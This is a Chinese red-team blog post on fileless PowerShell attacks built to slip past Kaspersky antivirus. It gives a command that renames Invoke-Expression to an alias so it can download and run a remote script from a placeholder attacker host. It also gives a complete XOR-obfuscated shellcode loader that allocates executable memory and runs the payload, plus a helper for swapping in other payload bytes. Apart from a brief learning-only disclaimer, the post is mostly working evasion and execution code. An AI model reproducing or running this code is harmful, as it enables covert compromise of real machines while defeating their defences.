文章来源 ：s1ye的博客
文章作者 ：s1ye
无文件落地
顾名思义，无需将恶意文件传到目标服务器/机器上，直接利用powershell的特性加载到内存执行。为了在红队行动中更隐蔽的实施攻击以及横向移动，同时还可以解决目标不出网只能通过dns上线时的棘手问题，利用powershell可以避免一行行echo。
通过两种方式进行无文件落地的免杀，一种是出网的情况，另一种为不出网情况。
声明： 文章内容仅供网络安全爱好者学习使用，请勿用文章中提到的技术或工具做违法的事情，否则后果自负。
目标出网
利用downloadstring远程读取powershell文件并iex执行
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iex => Invoke-expression 将字符串当作powershell代码执行
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Set-Alias 给powershell函数以及变量赋予别称
出网的思路是，通过downloadstring下载上篇文章中的remoteshell.ps1文件并执行，但是需要绕过卡巴斯基对downloadstring操作的拦截。方法有很多种，我通过以下方式绕过：
# command
powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('http://attacker.ip/payload.ps1')
同样的不仅命令需要绕过杀软拦截，远程待读取的文件也需要过静态查杀（修改一下特征就好了）。
目标不出网
经过测试判断出了卡巴斯基的拦截特征，因此直接将字节数组写死在命令中及可绕过，具体过程不分析了，看代码吧。
powershell $string={Set-StrictMode -Version 2;function func_get_proc_address {Param ($var_module, $var_procedure);$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() ^| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods');$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'));return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))};function func_get_delegate_type {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,[Parameter(Position = 1)] [Type] $var_return_type = [Void]);$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]);$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed');$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed');return $var_type_builder.CreateType()};If ([IntPtr]::size -eq 8) {[Byte[]]$var_code = 230,82,153,254,234,242,210,26,26,26,91,75,91,74,72,75,76,82,43,200,127,82,145,72,122,82,145,72,2,82,145,72,58,82,145,104,74,82,21,173,80,80,87,43,211,82,43,218,182,38,123,102,24,54,58,91,219,211,23,91,27,219,248,247,72,91,75,82,145,72,58,145,88,38,82,27,202,124,155,98,2,17,24,111,104,145,154,146,26,26,26,82,159,218,110,125,82,27,202,74,145,82,2,94,145,90,58,83,27,202,249,76,82,229,211,91,145,46,146,82,27,204,87,43,211,82,43,218,182,91,219,211,23,91,27,219,34,250,111,235,86,25,86,62,18,95,35,203,111,194,66,94,145,90,62,83,27,202,124,91,145,22,82,94,145,90,6,83,27,202,91,145,30,146,82,27,202,91,66,91,66,68,67,64,91,66,91,67,91,64,82,153,246,58,91,72,229,250,66,91,67,64,82,145,8,243,85,229,229,229,71,112,26,83,164,109,115,116,115,116,127,110,26,91,76,83,147,252,86,147,235,91,160,86,109,60,29,229,207,82,43,211,82,43,200,87,43,218,87,43,211,91,74,91,74,91,160,32,76,99,189,229,207,241,105,64,82,147,219,91,162,21,61,26,26,87,43,211,91,75,91,75,112,25,91,75,91,160,77,147,133,220,229,207,241,67,65,82,147,219,82,43,200,83,147,194,87,43,211,72,114,26,24,90,158,72,72,91,160,241,79,52,33,229,207,82,147,220,82,153,217,74,112,16,69,82,147,235,82,147,192,83,221,218,229,229,229,229,87,43,211,72,72,91,160,55,28,2,97,229,207,159,218,21,159,135,27,26,26,82,229,213,21,158,150,27,26,26,241,201,243,254,27,26,26,242,184,229,229,229,53,47,77,98,67,26,218,42,11,236,149,201,251,204,220,64,129,163,25,180,84,43,66,101,79,111,242,85,216,18,90,199,48,212,5,88,53,247,178,185,227,158,220,215,153,62,176,117,55,14,251,20,228,201,120,104,7,232,65,30,45,98,54,249,9,121,198,53,189,153,110,202,220,254,251,82,19,125,46,26,79,105,127,104,55,91,125,127,116,110,32,58,87,117,96,115,118,118,123,53,47,52,42,58,50,121,117,119,106,123,110,115,120,118,127,33,58,87,73,83,95,58,35,52,42,33,58,77,115,116,126,117,109,105,58,84,78,58,44,52,42,33,58,78,104,115,126,127,116,110,53,47,52,42,51,23,16,26,41,167,140,23,122,110,225,235,126,193,86,236,74,58,43,108,214,247,158,133,246,52,202,48,251,53,214,156,196,185,191,22,148,155,185,114,202,123,188,143,155,70,17,95,32,118,240,201,135,186,168,203,211,168,41,69,74,25,168,42,215,44,90,124,209,175,24,221,195,250,174,192,127,197,110,70,7,135,214,191,63,3,232,186,97,196,22,195,92,130,21,158,254,7,91,210,67,95,221,177,210,209,192,186,70,44,138,175,245,127,176,78,190,184,136,92,82,205,108,115,184,254,34,33,192,72,168,178,31,213,211,209,89,162,197,155,29,242,139,154,160,15,11,184,160,178,33,103,137,155,90,88,125,54,225,217,12,2,81,219,130,45,27,231,147,200,252,43,196,20,238,149,101,102,211,107,74,11,226,38,0,240,150,54,15,151,134,178,96,242,144,215,60,20,173,135,45,37,155,85,96,67,99,18,129,223,164,55,75,1,140,139,88,103,253,42,127,245,208,251,109,226,124,27,222,26,91,164,234,175,184,76,229,207,82,43,211,160,26,26,90,26,91,162,26,10,26,26,91,163,90,26,26,26,91,160,66,190,73,255,229,207,82,137,73,73,82,147,253,82,147,235,82,147,192,91,162,26,58,26,26,83,147,227,91,160,8,140,147,248,229,207,82,153,222,58,159,218,110,172,124,145,29,82,27,217,159,218,111,205,66,66,66,82,31,26,26,26,26,74,217,242,133,231,229,229,43,35,40,52,43,44,34,52,43,47,41,52,43,43,42,26,26,26,26,18;for ($x = 0; $x -lt $var_code.Count; $x++) {$var_code[$x] = $var_code[$x] -bxor 26;};$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])));$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40);[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length);$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])));$var_runme.Invoke([IntPtr]::Zero)}}.ToString();iex $string
利用下面的代码从bin文件中读取字节数组，并替换文中的字节数组即可。
# readbytes.ps1
[Byte[]]$bytes = [System.IO.File]::ReadAllBytes($args[0])
$s = ""
for ($x = 0; $x -lt $bytes.Count; $x++) {
$s += $bytes[$x]
$s += ","
}
$s
要注意的是去掉最后一个逗号”,“。
结束语
利用powershell无文件落地上线的方式还有很多，就不全都举例了，仅记录一些思路。由于我觉得卡巴斯基更严格一些，且工作中经常遇到，所以全文都是以卡巴斯基为例，但是不出意外的话过国内的应该没问题。总结下来也没什么过于亮眼之处，后面会写一个自动化的工具，暂时不贴出来了，等完善了再说。对这几天学习的一个总结，并分享一些思路，随着接下来的学习更加深入，再分享一些更深层次的技术笔记吧。
另外，如果文中出现了哪些技术性的问题，请一定联系我修改，我不想误人子弟。
最后，听说物理机上的360和虚拟机的不太一样？
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